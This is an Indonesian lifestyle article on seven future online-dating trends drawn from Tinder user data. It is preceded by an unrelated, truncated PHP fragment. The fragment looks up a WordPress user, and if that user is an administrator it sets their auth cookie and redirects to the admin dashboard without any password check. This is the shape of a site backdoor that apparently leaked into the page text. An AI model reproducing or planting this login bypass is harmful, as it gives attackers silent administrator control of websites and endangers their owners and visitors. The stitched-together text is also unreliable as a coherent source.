user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
7 Tren Kencan Online di Masa Depan

1 Apr 2021


Dok. Freepik
 

 
Pandemi mengubah cara kita bertemu seseorang, salah satunya perihal berkencan. Seperti temuan aplikasi kencan online Tinder yang mengaku bahwa di tahun 2020 menjadi tahun tersibuk karena semakin banyaknya orang yang ingin terhubung melalui aplikasi ini.
 
Rasa kehilangan, kerinduan, dan kesepian akibat pandemi berdampak serius pada kehidupan anak-anak muda saat ini dan mendorong mereka untuk mencari cara baru agar bisa terhubung dengan lebih banyak orang, berkumpul dengan gaya ‘new normal’ dan menjadi lebih terbuka di Tinder.
 
Data dari Tinder, diketahui bahwa 19% lebih banyak pesan yang terkirim per hari pada Februari 2021, dibandingkan dengan Februari 2020. Selain itu, percakapan berlangsung 32% lebih lama selama pandemi, 11% lebih banyak swipe dan 42% lebih banyak match antara para pengguna Tinder.
 
Lantas bagaimana tren kencan online di masa depan? Ini dia temuan Tinder dari para penggunanya.
 
1. Orang lebih jujur dan otentik dalam berkencan
Pengguna Tinder menjadi lebih jujur dan terbuka tentang siapa mereka, penampilan mereka, dan apa yang sedang mereka rasakan. Umumnya ekspresi ini mereka sampaikan lewat bio pengguna Tinder dengan tulisan seperti ‘anxiety’, ‘moody’ dan lainnya.
 
2. Lebih gamblang menyampaikan ekspektasi
Pengguna tinder tak lagi takut menyampaikan ekspektasi mereka, misalnya seperti di bio yang menggunakan kata-lata ‘pakai masker’ atau ‘consent’. Praktik ini membuat percakapan di antara dua orang yang matched menjadi lebih nyaman di masa mendatang.
 
3. Lebih banyak orang ingin "Kita jalanin aja dulu"
Dalam survei pengguna Tinder yang dilakukan baru-baru ini, pengguna yang mencari pasangan kencan dengan status 'tidak mencari jenis hubungan tertentu' naik hampir 50%. Jadi, alih-alih pandemi mendorong keinginan mereka untuk menikah, generasi berikutnya justru akan berpikir lebih ke arah “jalanin dulu aja” dan mencari hubungan yang lebih terbuka.
 
Advertisement
4. Kencan digital = new normal
Keadaan yang berangsur membaik, terutama dengan adanya vaksinasi, tak lantas melunturkan kencan virtual. Menurut survei Tinder baru-baru ini, mereka yang telah mencoba kencan digital merasa lebih santai saat berusaha kenal lebih jauh dengan pasangan kencannya, dan 40% pengguna Gen Z di Tinder mengaku bahwa mereka akan terus melakukan kencan digital, bahkan saat tempat kencan favorit mereka telah dibuka kembali.
 
5: Kencan pertama yang lebih seru dan kasual
Kecenderungan untuk kencan pertama di bar atau restoran berangsur menghilang. Sekarang ini banyak pasangan lebih memilih melakukan aktivitas yang lebih kreatif, personal dan kasual dibandingkan sebelumnya. Misalnya, Tinder melihat peningkatan 3 kali lipat dalam penyebutan 'sepatu roda' di bio pengguna dan permintaan untuk aktivitas kencan seperti, ‘fort building’ atau ‘snowball fights’ yang muncul di bio.
 
6. Sentuhan kecil yang bermakna
Setelah mengalami berbulan-bulan tanpa kontak fisik, orang-orang menjadi sangat menghargai bentuk kasih sayang secara fisik sekecil apapun. Pengguna Tinder pun menggunakan biografi mereka untuk mencari kasih sayang seperti berpegangan tangan, berpelukan, atau sentuhan seseorang di rambut mereka. Hal ini terlihat dari penggunaan kata 'berpelukan' yang meningkat 23%, dan 'berpegangan tangan' meningkat 22%.
 
7. Berkencan dengan orang yang dekat
Kendatipun teknologi memudahkan komunikasi tanpa melihat jarak, namun para pengguna Tinder masih memiliki kecenderungan untuk memilih orang-orang yang berada di dekat mereka. Hal ini dibuktikan dari fitur Geolokasi Tinder yang masih sangat relevan digunakan pada masa pandemi. Sebutan 'pindah' atau ‘moving’ di bio naik 28% pada tahun 2020. Jadi, meskipun teknologi terus memungkinkan orang untuk tinggal atau bekerja di mana saja, pengguna Tinder masih tetap mencari seseorang yang tinggal dekat dengan mereka. (f)
 
 

BACA JUGA :
Waspada dengan 9 Jenis Pikiran Seperti Ini Jika Tak Ingin Merusak Hubungan Pernikahan
5 Tip Aman Kencan Online
5 Tanda Hubungan Jarak Jauh Tidak Berjalan Baik



 


Topic

#kencanonline, #tinder

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?